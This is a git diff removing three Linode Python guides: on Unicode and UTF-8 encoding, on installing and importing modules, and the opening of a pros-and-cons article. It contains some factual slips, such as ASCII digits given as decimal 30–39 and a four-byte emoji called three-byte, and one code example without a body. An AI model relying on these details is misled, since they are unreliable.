blocks inside a single plane. This makes it easier to locate specific characters in the published Unicode charts. All characters have a fixed name that uniquely identifies them. This name cannot be subsequently changed, even if it is inaccurate or contains errors. - -Unicode contains several unallocated "non-character" code points and blocks of private-use code points. The private characters can be used internally or through an agreement between a sender and receiver. In addition, a set of "formatting" characters modifies the behavior of adjacent characters, including ligatures. Some abstract characters can only be represented by a sequence of two or more characters. Unicode maintains a list of these abstract characters, but they are often the source of some confusion. - -Although moderated, Unicode is an open system. New additions are always being proposed. Unicode can expand to over one million code points, and there is still plenty of room for new characters. The current release of Unicode is 14.0, which was released in 2021. - -Most operating systems, web browsers, text processors, and programming languages such as Python have built-in support for Unicode. They can decipher Unicode-encoded text and display the appropriate characters. Some applications do not support Unicode or have not yet implemented the latest release. In this case, users might see empty rectangles or the `?` symbol in place of actual text. Some systems only support one or two-byte Unicode characters, which is a subset of the entire collection. - -The [Unicode site](https://home.unicode.org/) provides a complete overview of the Unicode standard, along with a FAQ and explanation of how to use the site. Perhaps the most important section of the site is the [specification of the latest release](https://www.unicode.org/versions/Unicode14.0.0/). The documentation allows developers to view the latest code charts and read an overview of each section. - -### What is the Difference between ASCII and Unicode? - -ASCII is a very early character encoding developed from telegraph code. It can be considered an ancestor of the current Unicode system. ASCII is an abbreviation of the American Standard Code for Information Interchange. It was the standard during the early days of the internet until approximately 2008 and is still common today. - -The ASCII character set consists of 128 characters, which have code points between 0 and 127. Each code point is represented as a 7-bit binary number. Some applications used the eighth and final bit for proprietary purposes, leading to a lack of compatibility. The set of ASCII characters was found to be too small and restrictive, so new encodings were developed to allow for more characters. However, most modern encoding systems are based on ASCII and typically preserve the original code points for the original ASCII characters. - -Within the ASCII character set, control characters and related characters, such as digits, have contiguous code points. This makes it easier to locate characters. The ASCII system consists of the following characters. - -{{< note >}} -All code points in this list use the decimal system. -{{< /note >}} - -- Lowercase letters from `a` to `z`. These have code points between `97` to `122`. -- Uppercase letters from `A` to `Z`. They are assigned code points between `65` to `90`. -- The digits `0` to `9`, run from code points `30` to `39`. -- The space character, with code point `32`. -- Essential punctuation points. -- Opening and closing brackets, parentheses, braces, chevrons, and forward/backward slashes. -- A small set of mathematical, typographical, and other symbols, including `+`, `&`, `$`, and `^`. -- A set of 32 non-printable control characters, including codes for a line return, tab, bell, backspace, and form feed. These characters have code points `1` to `31`, and `127`. Many of these codes apply to archaic printing devices and are no longer in use. A few of these codes have been assigned new meanings. -- A `null` character that has code point `0`. - -A complete list of the characters can be found on the [Wikipedia ASCII page](https://en.wikipedia.org/wiki/ASCII#Printable_characters). The ordering of characters based on their ASCII code points is known as *ASCIIbetical order*. Computer systems sometimes process characters using ASCIIbetical order rather than alphabetical order. - -By contrast, Unicode is an expanded and updated encoding standard that builds upon the original ASCII standard. Unicode separates the code points from the details of the encoding system. This permits a much wider range of characters up to four bytes. - -The Unicode character set incorporates the entirety of the ASCII character set as the first 127 characters. All ASCII characters have the same code points in both encodings. This means any ASCII text file is a valid UTF-8 file. Additionally, any UTF-8 file that only uses ASCII characters can be processed as ASCII text. This ensures legacy ASCII-only applications can accept files with only ASCII characters, maintaining backward compatibility. - -The greater flexibility of Unicode allowed it to become the modern standard for character encoding in computer systems and on the internet. However, ASCII-only applications and systems persist to this day. ASCII-only applications and files are guaranteed to be compatible with any system. - -### What is UTF-8? - -UTF-8 is one of several character encoding schemes implementing the Unicode encoding standard. An encoding scheme translates a string to a byte sequence and a byte sequence back into a string. UTF-8 is defined in [RFC 3629](https://datatracker.ietf.org/doc/html/rfc3629). It is capable of encoding all 1,112,064 code points in Unicode. - -UTF-8 is backward-compatible with ASCII. All ASCII files are UTF-8 compliant and a UTF-8 file that only contains ASCII characters is compatible with ASCII systems. - -A code unit in UTF-8 is 8 bits, compared to 7 bits for ASCII. However, one character can map to anywhere between one and four code units. The alternative UTF-32 codec represents all characters using four code units each consisting of four bytes. This means UTF-8 generates much smaller files than UTF-32. - -UTF-8 is the most popular encoding on the internet and is used in between 95 to 100% of all websites. It is now considered the international standard for Unicode encoding. Virtually all modern applications support UTF-8, and many standards and applications only accept files encoded in UTF-8. UTF-8 files are safe to use with programming languages that use escape or special characters. - -Here are some of the main advantages of UTF-8: - -- UTF-8 can encode all possible Unicode code points. -- It only uses a byte containing all zeroes to represent the `null` character. This maximizes interoperability with the C programming language and legacy protocols that use `0` to indicate the end of a file. -- All ASCII strings are valid UTF-8 strings and have the same code points. This means UTF-8 can encode ASCII files. Seven-bit values never otherwise occur in UTF-8, avoiding confusion. -- UTF-8 is a compact and concise encoding. Most Unicode characters can be stored in one or two bytes. -- UTF-8 can resynchronize at the next code point to recover from corrupted or lost data. Because certain values cannot occur in UTF-8, errors are easier to detect. The start of a character can be found within three bytes of any point in the file, and the sequence for one character never begins inside another character. -- It avoids the bytes `FF` or `FE`, to avoid confusion with the UTF-16 byte order mark. This means it is impossible to misinterpret a UTF-8 file as UTF-16. -- It is byte-oriented and the encoding does not depend on the underlying hardware architecture. The first byte indicates the number of bytes of the next character. -- If a file gets split in the middle of a character, only a single character is lost. - -The Unicode encoding process follows an establishing encoding formula, which designates certain bits as framing bits. In practice, this restricts the maximum value to 21 bits. The encoding technique can be described as follows. - -- One-byte values begin with a `0`, followed by the 7 bits of the code point. All ASCII values, and only the ASCII values, are encoded as one-byte values. -- For two-byte values, the first byte begins with `110`, and the second with `10`. A byte beginning with `10` is a *continuation byte*. The remainder of the bits encodes the code point. These values are used for all Latin-style alphabets, along with Greek, Cyrillic, Hebrew, Arabic, and some other languages. Two-byte values also encode diacritical marks and International Phonetic Alphabet (IPA) extensions. -- Three-byte values start with `1110`. The second and third bytes begin with `10`. This plane of values encodes the Basic Multilingual Plane, including almost all characters commonly in use, and many emojis. -- Four-byte values are indicated with leading `11110` bits. The remaining three bytes start with `10`. Emojis, mathematical symbols, and some ideographic symbols from Asian languages are encoded using four bytes. -- Certain bit patterns indicate an invalid sequence. This could indicate a potentially valid code point that has not been assigned a value yet or an invalid UTF-8 value. An example is an unexpected continuation byte. Most invalid values are dropped, but hackers have used them to bypass security measures. -- The byte order mark `0xEF 0xBB 0xBF` at the start of a file indicates the file uses UTF-8. However, it is not recommended or required and might confuse some systems. If the file begins with the byte order mark `FEFF`, the file is encoded in UTF-16, not UTF-8. - -As an example, here is how to encode the Unicode code point for the Peso symbol `₱`. - -- The Unicode code point for this symbol is `0x20B1`. It can be found in the currency chart in the [Unicode charts](https://www.unicode.org/charts/). -- This value requires a three-byte encoding, with 16 bits used for the code point and eight bits for the framing. -- Converted to binary, this value is `0010 0000 1011 0001`. -- The first four bits are encoded in the first byte and preceded by the framing bits `1110`. This results in `1110 0010`. -- The second byte begins with `10`, followed by the next six bits of the code point. This results in `1000 0010`. -- The third and final byte also starts with `10`, followed by the remaining encoding bits. This yields `1011 0001`. -- Taken together, this is `1110 0010 1000 0010 1011 0001`. In hexadecimal, this is `0xE282B1`. - -UTF-8 can be contrasted with the UTF-16 and UTF-32 encoding schemes. UTF-16 always uses at least two bytes to encode characters. It can also use four bytes, while UTF-32 always uses four bytes. These schemes are somewhat easier to decode and use fewer framing bits. However, they are less concise than UTF-8 and are not ASCII-compatible. - -## How Does Python Implement Unicode? - -Python handles Unicode very differently in Python 2 and Python 3. In Python 2, the default encoding is ASCII. But in Python 3, UTF-8 is the default. This makes text processing much easier than before. It is no longer necessary to declare the encoding in the first or second line of the file. Nor is it necessary to preface Unicode strings with `u`. - -{{< note >}} -This guide only discusses Unicode processing for Python 3. Python 2 handles Unicode very differently, so these instructions do not apply. For more information, consult the [Python 2 Unicode documentation](https://docs.python.org/2/howto/unicode.html) for further guidance. Python strongly recommends that developers upgrade to Python 3. -{{< /note >}} - -According to the Python [Unicode documentation](https://docs.python.org/3/howto/unicode.html), the most important principle is to only work with Unicode strings internally. Decode the input data as soon as possible and encode the output only at the end. This greatly simplifies most programs and avoids introducing errors. - -All Python 3 strings are Unicode strings and are stored as Unicode. This means Unicode characters can be included in a string. When the text is encoded, all characters are converted to their byte equivalent. To use Unicode characters in a string, declare the string normally, and include the Unicode characters in the correct position. - -```file -u = "❤️" -print(u) -``` - -```output -❤️ -``` - -Python 3 also permits many Unicode characters to be used as part of variable and function names. However, symbols or emojis can't serve in these roles. For instance, the "heart" emoji can not be part of a variable name. In the following example, the variable name `Øyen` contains a character from the Norwegian alphabet. - -```file -Øyen = "Lofoten" -print(Øyen) -``` - -```output -Lofoten -``` - -A string can still be declared using a `u` at the front of the string, but this is no longer required. If a developer is simultaneously processing Unicode and ASCII files, they might want to use this convention to increase clarity. This is also necessary to backport files to Python 2. - -```file -u = u"❤️" -``` - -A character can also be declared using its *escape sequence*. The Unicode escape sequence for two-byte characters is a backslash `\` character, a `u`, and four hexadecimal digits indicating the code point. If the hexadecimal character is shorter than four digits, insert leading zeros to pad the length to four. - -The Unicode code point for the musical note symbol `♩` is `0x2669`. This symbol can be assigned to a Python string using its hexadecimal equivalent. - -```file -x = "\u2669" -print(x) -``` - -```output -♩ -``` - -The escape sequence for a Unicode character requiring three or four bytes begins with `\U`. The hexadecimal value must contain eight digits, so pad the front of the value with zeros until it is the proper length. - -For example, the Unicode bumblebee emoji is encoded in a three-byte format possessing the Unicode code point `U+1F41D`. To assign this emoji character to a variable using its escape sequence, pad it out to `0001F41D`. After the character is assigned to a string, it can be printed out using the Python `print` function. - -```file -bee = "\U0001F41D" -print(bee) -``` - -```output -🐝 -``` - -### Using the Python `unicodedata` Library - -Python provides many additional functions and libraries to help developers work with Unicode. The most relevant library is `unicodedata`. It allows developers to extract more information, such as the official name or code point, about each Unicode character. This library can be imported using the following Python directive. - -```file -import unicodedata -``` - -To find the code point of a Unicode character, use the `ord` function. Precede the character with a `u`. This example demonstrates how to determine the code point for the musical note symbol. - -{{< note >}} -This function only returns valid results for Unicode characters with a single code point. Although `ord` is a core Python function, the `unicodedata` library is necessary to determine multi-byte mappings. -{{< /note >}} - -```file -print(ord(u"♩")) -``` - -```output -9833 -``` - -The opposite function of `ord` is `chr`. It is used to convert the decimal integer of a code point to the actual character. - -```file -print(chr(9833)) -``` - -```output -♩ -``` - -The `name` method is used to retrieve the official Unicode name for any Unicode character. - -```file -print(unicodedata.name(u"🐝")) -``` - -```output -HONEYBEE -``` - -The official Unicode name can also be used to determine the character. Pass the official name, including all spaces, to the `lookup` method. - -```file -print(unicodedata.lookup("QUARTER NOTE")) -``` - -```output -♩ -``` - -A character can also be assigned to a string using its official Unicode name. Enclose the name in braces and precede it with a backslash and `N`. The following example assigns the musical note symbol to the `note` string. - -```file -note = "\N{QUARTER NOTE}" -print(note) -``` - -```output -♩ -``` - -### Reading and Writing Unicode Files in Python - -The same concepts are used to read a file containing Unicode characters. Declare the file encoding as `utf-8` when calling the `open` function. Read the file normally. - -```file {title="read_unicode.py"} -with open('sample.txt', encoding='utf-8') as f: - for line in f: - print(repr(line)) -``` - -Given a `sample.txt` file containing some of the Unicode characters used in this guide, `read_unicode.py` returns the following results. - -```output -'Øyen\n' -'♩\n' -'❤️\n' -'🐝\n' -``` - -For a write operation, create the file object as follows. Ensure the encoding is set to `utf-8`. The `write` method can accept Unicode characters or code points preceded by `\u` or `\U`. - -```file {title="write_unicode.py"} -with open('sample.txt', encoding='utf-8', mode='w') as f: -``` - -For more information on reading and writing Unicode files, consult the [Python Unicode documentation](https://docs.python.org/3/howto/unicode.html). - -### Limitations - -Python 3 has far fewer limitations than Python 2. However, certain functions might not work as expected for characters requiring more than one code point or interactions between two consecutive characters. A good example of this is the `ord` function, which expects a single code point. - -Always confirm the encoding of an input file unless it is known to be a UTF-8 file. Usually, the file specifies the encoding in the first or second line. However, sometimes the codec is not clear, so developers might have to contact the file originator. - -### Encoding Text in Python - -Encoding and decoding is the process of converting from strings to bytes. Strings display the text in a human-readable format, and bytes store the characters as binary data. Encoding converts data from a character string to a series of bytes. Decoding translates the bytes back to human-readable characters and symbols. It is important not to confuse these two methods. `encode` is a string method, while `decode` is a method of the Python byte object. It is not possible to encode bytes because the bytes are already encoded. Likewise, it is not possible to decode a string. A string is already a series of characters and it technically does not have any encoding. The string object does not even have a `decode` method. Attempting to call `decode` for a string results in an error. - -To use Python to encode Unicode characters, use the string `encode` method. The default encoding standard is UTF-8, but for reasons of clarity, it is good practice to always explicitly pass in the protocol. The following example demonstrates how to encode the musical note Unicode character. Python converts the Unicode string to bytes and returns an encoded byte object. - -```file -note = "♩" -note.encode("utf-8") -``` - -```output -b'\xe2\x99\xa9' -``` - -The `encode` method works the same way on multi-character strings. The ASCII characters are not converted to bytes. This preserves backward compatibility with ASCII-only applications. - -```file -greeting = "Have a nice day! ♩" -greeting.encode("utf-8") -``` - -```output -b'Have a nice day! \xe2\x99\xa9' -``` - -### Decoding Unicode Bytes in Python - -The inverse function to `encode` is `decode`. If this function is applied to a sequence of bytes, it returns the equivalent Unicode string of characters. To decode a function, use the `decode` method of the byte object. The encoding protocol is assumed to be UTF-8 by default, but it is safer to explicitly state it. This example decodes the byte encoding for the note character back into a string. - -```file -notebytes = b'\xe2\x99\xa9' -notebytes.decode("utf-8") -``` - -```output -'♩' -``` - -## Common Unicode Errors in Python - -Most of the time, the encoding and decoding process goes smoothly without much extra effort. However, Unicode errors can occur in Python. When Python cannot decode a file, it displays the `UnicodeDecodeError` message. - -The most common Python Unicode error happens when a non-UTF-8 file is decoded using the UTF-8 codec. In this example, a string is encoded using the `latin-1` encoding. Attempting to decode it as a UTF-8 file results in a `UnicodeDecodeError`. - -```file -quartercup = "¼" -quart_encode = quartercup.encode("latin-1") -quart_encode.decode("utf-8") -``` - -```output -UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbc in position 0: invalid start byte -``` - -To decode this string properly, declare it as a `latin-1` file in the function call. The type of encoding is often specified in the first line of the file. Python searches for the keywords `coding: name` or `coding=name`. But the convention is to use the format `# -*- coding: latin-1 -*-`, a carryover from the emacs editor. - -```file -quart_encode.decode("latin-1") -``` - -```output -'¼' -``` - -This error can also occur when the `decode` method is applied to a byte object containing invalid Unicode sequences. This can happen if the file was corrupted or the characters were not encoded correctly. In this example, the `0xfe` byte is assigned to a Python byte object. This character is not permitted anywhere in a UTF-8 file because `xfe` is reserved for the UTF-16 byte order mark. If this byte is decoded using the UTF-8 decoder, Python raises an error. - -```file -junk_bytes = b'\xfe' -junk_bytes.decode("utf-8") -``` - -```output -UnicodeDecodeError: 'utf-8' codec can't decode byte 0xfe in position 0: invalid start byte -``` - -The `UnicodeEncodeError` is less common because developers generally have some control over the material they are decoding. However, it can happen if a developer attempts to encode Unicode data using another encoding algorithm. In this case, encoding is used on a string containing the bumblebee emoji. The string can be correctly converted to bytes using the UTF-8 encoder. However, when `encode` is invoked with the `ASCII` encoder, the attempt fails, generating the `UnicodeEncodeError`. This is because the bumblebee emoji does not exist in ASCII, and the ASCII codec cannot translate the Unicode code point. - -```file -bee = "\U0001F41D" -utf8_bee = bee.encode("utf-8") -ascii_bee = bee.encode("ascii") -``` - -```output -UnicodeEncodeError: 'ascii' codec can't encode character '\U0001f41d' in position 0: ordinal not in range(128) -``` - -{{< note >}} -This UTF-8 codec permits unassigned Unicode code points to be encoded to bytes. However, these byte objects cannot later be decoded back into characters. -{{< /note >}} - -To avoid errors, `encode` and `decode` accept the `replace` keyword as the second parameter. This substitutes the Unicode replacement character, `U+FFFD` for any character that cannot be properly translated. The `ignore` keyword completely ignores unknown characters. However, most developers prefer to avoid silent errors and receive an indication something has gone wrong. - -```file -junk_bytes = b'\xfe' -junk_bytes.decode("utf-8", "replace") -``` - -```output -'�' -``` - -## Concluding Thoughts About Unicode on Python - -Unicode was designed as a replacement and extension for the ASCII character set, which only contained 128 characters. Unicode covers characters from almost every world language, along with many symbols and emoji. Each character has an equivalent code point, which is used to identify, display, and translate the character. - -UTF-8 is an encoding technique for converting Unicode characters to bytes and vice versa. It uses between one and four bytes to store a Unicode code point and is fully backward-compatible with ASCII. Python fully supports both Unicode and UTF-8 and permits strings to include any Unicode character. It includes the `unicodedata` library, which allows Python to manipulate Unicode data. Python decodes and encodes Unicode data using built-in string and byte methods. For more information on using Unicode in Python, see the [Python documentation](https://docs.python.org/3/howto/unicode.html). diff --git a/docs/guides/development/python/installing-and-importing-modules-in-python-3/index.md b/docs/guides/development/python/installing-and-importing-modules-in-python-3/index.md deleted file mode 100644 index 8c64e7a364a..00000000000 --- a/docs/guides/development/python/installing-and-importing-modules-in-python-3/index.md +++ /dev/null @@ -1,242 +0,0 @@ ---- -slug: installing-and-importing-modules-in-python-3 -title: "Install and Import Modules in Python 3" -title_meta: "How to Install and Import Modules in Python 3" -description: 'Learn how to install modules in Python 3 and import them using `import`, `from import`, and `import as`.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-01-28 -keywords: ['Python import module', 'Python modules', 'Python install module', 'Python math'] -tags: ['python'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Python Documentation on Modules](https://docs.python.org/3/tutorial/modules.html)' -- '[List of Python Built-in Modules](https://docs.python.org/3/py-modindex.html)' ---- - -Except for very short and simple programs, most [Python](https://www.python.org/) applications contain code from many files, directories, and packages. Related functions and attributes are often grouped together as part of a Python *module*. A programmer can *import* this module and use its functions and variables in their application. This guide provides an introduction to Python modules and explains how to install and import modules in Python. - -## An Introduction To Python Modules - -A Python module is a file containing Python code. This file can potentially include functions, variables, classes, constants, and executable code. Most applications and development projects use modules. As the name suggests, modules are self-contained, and are designed to be reused by other applications. The Python `pip` utility is used to install a module, but the `import` command is used to actually import the module. - -Python includes some built-in standard modules. These modules are part of the [*Python Standard Library*](https://docs.python.org/3/library/), also known as the Library Reference. Some popular modules include the Python `os` module, `time` module, and `math` module. But programmers can also build their own modules or use modules from other developers. Python modules can be imported into the main module or other stand-alone modules. - -Python modules are named the same way as other Python files. The filename for a module consists of the module name followed by the `.py` extension, for example, `module_name.py`. A module maintains its own [symbol table](https://docs.python.org/3/library/symtable.html), which serves as the global symbol table inside the module. Each module is also a Python namespace. - -{{< note >}} -A Python namespace is a dictionary of the object names and the actual objects. -{{< /note >}} - -When an application imports a module, it has access to the entire contents of the module. It can use the module's functions and variables the same way as any other Python code. No further processing of the code is required. - -Some of the reasons to use Python modules include the following: - -- They allow for the reuse of code, which speeds up development. -- Modules make it easier to structure code in an organized and efficient manner. Similar functions and variables can be grouped within a module. -- A modular structure assists with maintainability. -- Modules help reduce the size of the local symbol table. -- They allow individual functions to be imported without the rest of the module. -- Modules reduce the chance of accidental naming collisions with local or global variables. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Ensure Python is properly installed on the Linode and you can launch and use the Python programming environment. To run Python on Ubuntu, use the command `python3`. For information on how to use Python, see our guide on [How to Install Python 3 on Ubuntu](/cloud/guides/how-to-install-python-on-ubuntu-20-04/). - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Install Modules in Python 3 - -The `pip` package manager is the best way to install Python 3 modules. However, modules that do not support `pip` can still be installed locally as long as they provide a `setup.py` file. - -Python includes a large number of useful standard modules, which are known as the Library Reference. These modules do not have to be installed and are available to import and use as long as Python is installed on your system. A good example of a standard Python module is the `math` module. - -These instructions are geared toward Ubuntu users but are generally applicable for most Linux distributions. - -### Install Modules with pip - -1. Ensure the `pip` module is already installed. `pip` can be installed using the [APT package manager](/cloud/guides/apt-package-manager/). - - sudo apt install python3-pip - -1. Verify the release of `pip` to ensure it is installed correctly. - - pip3 --version - - {{< output >}} -pip 20.0.2 from /usr/lib/python3/dist-packages/pip (python 3.8) -{{< /output >}} - -1. Install the new Python module using the command `pip install `. The following example demonstrates how to install the `ffmpeg-python` module, which is used for media processing tasks. - - pip install ffmpeg-python - - {{< output >}} -Successfully installed ffmpeg-python-0.2.0 -{{< /output >}} - -1. To list all installed Python modules and packages, use the `pip list` command. - - pip list - - {{< output >}} -Package Version ----------------------- -------------------- -attrs 19.3.0 -Automat 0.8.0 -... -zope.interface 4.7.1 - {{< /output >}} - -### Install Modules Locally - -If a module cannot be installed using `pip`, there is almost always a way to install it locally. To install a module locally, download it and run the associated `setup.py` script. - -The following example explains how to install the Python [kubernetes-client](https://github.com/kubernetes-client/python) module without using `pip`. - -{{< note >}} -Like most modules nowadays, this module is also available through `pip`. It can be installed using `pip install kubernetes`. It is always worth verifying whether a module is available through `pip` first. The following instructions are provided as a resource for cases where the module can only be installed locally. -{{< /note >}} - -1. Download the package and extract it into a local directory. This particular example uses `git`, but different modules provide different download instructions. - - git clone --recursive https://github.com/kubernetes-client/python.git - -1. Consult the installation directives for the module to determine the location of the `setup.py` file. In this case, it is located in the `python` directory. - - {{< note respectIndent=false >}} -If the module does not have a `setup.py` file, consult the instructions on the Python site. See the sections on [Custom Installation](https://docs.python.org/3/install/#custom-installation) and [Modifying Python’s Search Path](https://docs.python.org/3/install/#modifying-python-s-search-path). - {{< /note >}} - - cd python -1. Install the module using the `python install` command. - - {{< note respectIndent=false >}} -This particular module also requires the `requests` module. It is not uncommon for locally-installed modules to require the installation of other modules before they can be used. - {{< /note >}} - - python setup.py install --user - -## Import Modules in Python 3 - -All modules, whether they are installed using `pip` or are part of the Library Reference, must be imported before they can be used in a file. A Python file can import an entire module or individual functions from a file. - -### Import a Module Using “import” - -The `import` directive is used to import an entire Python module. Python can import a built-in module, third-party modules, or a module you have created. - -To import a module, add the line `import module_name` near the top of the file. When a module is imported, the Python interpreter first searches for a built-in module sharing the same name. If it does not find one, it then searches through the locations listed in `sys.path`. `sys.path` always includes the directory of the input script. - -The following example shows how to import the Python `math` module using the interactive console. - - import math - -As soon as a file has imported a module, it can use any of the module's functions. To use a function from the module, specify the name of the module, along with the `.` symbol and then the function name. This notation is required because Python considers the new module to be a separate namespace. In this example, `math.factorial` references the `factorial` function from `math`. - - math.factorial(9) -{{< output >}} -362880 -{{< /output >}} - -To see a list of imported modules, use the `dir` command. It displays all the currently-defined names inside the current namespace. - - dir() -{{< output >}} -['__builtins__', '__doc__', '__name__', '__package__', 'math'] -{{< /output >}} - -To see what functions are available in a module, use the `dir` function and enclose the name of the module in brackets. The module must be imported before this command can be used. - - dir(math) -{{< output >}} -['__doc__', '__name__', '__package__', 'acos', 'acosh', 'asin', 'asinh', 'atan', 'atan2', 'atanh', 'ceil', 'copysign', 'cos', 'cosh', 'degrees', 'e', 'erf', 'erfc', 'exp', 'expm1', 'fabs', 'factorial', 'floor', 'fmod', 'frexp', 'fsum', 'gamma', 'hypot', 'isinf', 'isnan', 'ldexp', 'lgamma', 'log', 'log10', 'log1p', 'modf', 'pi', 'pow', 'radians', 'sin', 'sinh', 'sqrt', 'tan', 'tanh', 'trunc'] -{{< /output >}} - -The same approach is used to import and use a module inside a file. Here is a sample file containing the same functionality: - -{{< file "factorial.py" python >}} -import math - -n = math.factorial(9) -print(n) -{{< /file >}} - -There are a few additional issues to keep in mind when importing and using modules. - -- Functions and variables in submodules are accessed the same way, with a `.` between the module and submodule. Use the syntax `module.submodule.function`. -- If the module does not exist, Python displays the error `ImportError: No module named modulename`. -- An `AttributeError` error is displayed if a function that does not exist within the referenced module. -- When creating and importing a module, do not give it the same name as another module. This hides the original module, which means its attributes are no longer accessible. This is referred to as *shadowing* and is almost always undesirable. -- For the reasons of readability and maintainability, place all `import` statements at the start of the module. -- [*PEP 8*](https://www.python.org/dev/peps/pep-0008/) style guidelines recommend importing each module on a separate line, even though it is possible to separate module names using a comma. The guidelines also recommend ordering modules alphabetically within groups. Standard library modules should be listed first, followed by third-party modules, and then local applications. -- Within a module, the global variable `__name__` contains the name of the module. -- If a Python module contains executable code, it can run as a script using `python module_name.py`. Under these circumstances, `__name__` is set to `__main__` instead of the name of the module. -- Importing a module adds the module name to the importing module's symbol table, but it does not add the individual functions or variables. -- Each module is only imported once per session. If the library changes during interactive development, reload it using `importlib.reload(modulename)`, or by exiting and restarting Python. -- For more information about importing and using modules, see the [Official Python Documentation on Modules](https://docs.python.org/3/tutorial/modules.html). - -To see a complete list of all built-in Python modules, consult the [Python Module Index](https://docs.python.org/3/py-modindex.html). - -### Import a Module Using “import from” - -Python also provides programmers with the ability to import individual functions from a module without importing the module itself. Each function imported this way is added to the importing module's symbol table. This method allows the function to be invoked directly without using "dot notation". The module name is no longer required in front of the function name. However, this approach does not provide access to other functions in the module or even the module itself. - -To import an individual function from a module, add the line `from import ` to the file. The following instructions demonstrate how to import and use the `factorial` function from the `math` module. Python's interactive mode is used for this example. - - from math import factorial - -To use `factorial`, call the function directly the same way as a local function. - - print(factorial(8)) -{{< output >}} -40320 -{{< /output >}} - -It is possible to import every single function from a module without importing the actual module using the "wildcard import" technique. The syntax for this command is `from module_name import *`. This technique can be useful in interactive mode or during script development to save time. However, the PEP 8 style guide does not consider this to be a good programming practice. It can hide functions that are already defined in the program and bloat the local symbol table. - -It is also possible to give a function an easier name to avoid retyping the module name. Import the entire module, and reassign the function name using `new_func_name = module_name.old_func_name`. This creates a new entry in the symbol table and overwrites any pre-existing function sharing the same name, so use this technique carefully. - -### Import a Module Using “import as” - -The `import as` command allows programmers to supply a module or a function with an alias when it is imported. This technique is also referred to as *aliasing* a module. This strategy shortens the name of the module to make it easier to type. It can also reconcile naming conflicts with other modules or local functions and variables. - -To import and alias a module, use the syntax `import as `. From then on, use the alias to refer to the module. The following example demonstrates how to import the Python `time` module and give it the alias `t`. - - import time as t - -To use the functions inside `time`, use the alias `t` along with "dot notation" and the function name. The following call to `t.time` displays the system time in seconds as a floating-point number. - - print(t.time()) -{{< output >}} -1637324618.8210588 -{{< /output >}} - -Functions can also be aliased in this manner. To apply the alias `rint` to `random.randint`, use the `from ... import ... as` construction. The alias is then used to refer to the imported function whenever it is required. - - from random import randint as rint - print(rint(1,10)) -{{< output >}} -2 -{{< /output >}} - -### Import Variables, Functions, and Classes Using Import - -The same methods that apply to modules are also used with variables, functions, and classes. Functions are typically imported as part of an entire module or through the use of the `import ... from` directive. Classes are typically imported using the `from` command. - -The following example explains how to import the `config` class from the `kubernetes` module. The `kubernetes` module can be installed using the command `pip install kubernetes`. - - from kubernetes import config - -The `config` class can now be used in the local program as if it were defined locally. - -## Concluding Thoughts About Python Modules - -Python modules are used to organize and structure larger programs. Some modules are built-in and are part of the Python library. Other third-party modules must be installed first. Python's `pip` utility is used to install most modules. If a module is not available via `pip`, it can be installed locally. - -To make use of the functions in a module, Python must import the module first. The `import` command is used to import an entire module. Specific functions can be imported from a module using the `from import ` command. When a module or function is imported, it becomes part of the local symbol table and can be used as a local object. Modules or functions can be given an alias using the `from ... import ... as` directive. The alias can then be used to refer to the imported object. For more information on Python modules, consult the [Python documentation on modules](https://docs.python.org/3/tutorial/modules.html). diff --git a/docs/guides/development/python/pros-and-cons-of-python/index.md b/docs/guides/development/python/pros-and-cons-of-python/index.md deleted file mode 100644 index 01728c16388..00000000000 --- a/docs/guides/development/python/pros-and-cons-of-python/index.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -slug: pros-and-cons-of-python -title: "The Pros and Cons of Python Programming" -title_meta: "A Programmers’ Guide to Python: Advantages & Disadvantages" -description: 'As with any programming language, there are pros and cons of Python. Read our guide to find out whether you can benefit from learning Python. Click here!' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-03-23 -keywords: ['benefits of python','pros and cons of python','python advantages','disadvantages of python'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Python.org web site](https://www.python.org/)' -- '[Python documentation](https://docs.python.org/3/contents.html)' -- '[Python Package Index (PyPI) repository](https://pypi.org/)' -- '[Python Beginner Guide](https://wiki.python.org/moin/BeginnersGuide)' -- '[Python downloads page](https://www.python.org/downloads/)' -- '[Django](https://www.djangoproject.com/)' -- '[Flask](https://flask.palletsprojects.com/en/2.0.x/)' -- '[TensorFlow](https://www.tensorflow.org/)' -- '[PyTorch](https://pytorch.org/)' -- '[NumPy](https://numpy.org/)' -- '[SciPy](https://scipy.org/)' -- '[Python licensing site](https://docs.python.org/3/license.html)' ---- - -[Python](https://www.python.org/) is currently one of the world's most popular programming languages. It achieved this position due to its powerful features, flexibility, and ease of use. This guide explains the pros and cons of Python and compares it to other languages. It also discusses the situations where Python is one of the best alternatives. - -## What is Python? - -### The History of Python - -Python is an open source, general purpose programming language. Guido van Rossum developed Python based on the defunct ABC programming language and named it after the Monty Python comedy troupe. Python was designed to be simple, readable, and highly extensible through the use of modules. The first version of Python was released in 1991, and the more fully featured Python 2.0 followed in 2000. Both releases have since been discontinued. - -Python 3.0 was introduced in 2008, but is not compatible with earlier releases. Even though Python included the `2to3` upgrade utility, this decision was highly controversial and created significant issues for the user base. Because the transition was so difficult, there is unlikely to be a release 4 of Python. Instead, new minor releases are planned for each year. The Python Software Foundation currently administers Python, and they continue to work on new features and ongoing performance improvements. - -Python continues to increase in popularity and is now ranked as one of the top five languages. It is widely used in data science, machine learning, artificial intelligence, and server & web applications. Many web developers use Python alongside external frameworks, including [Django](https://www.djangoproject.com/) and [Flask](https://flask.palletsprojects.com/en/2.0.x/), or third-party libraries. These frameworks include ready-to-use components and are especially useful for web development. - -### The Main Characteristics of Python - -Python uses many of the same concepts, commands, and control structures as other traditional programming languages. But it is different in many respects, and 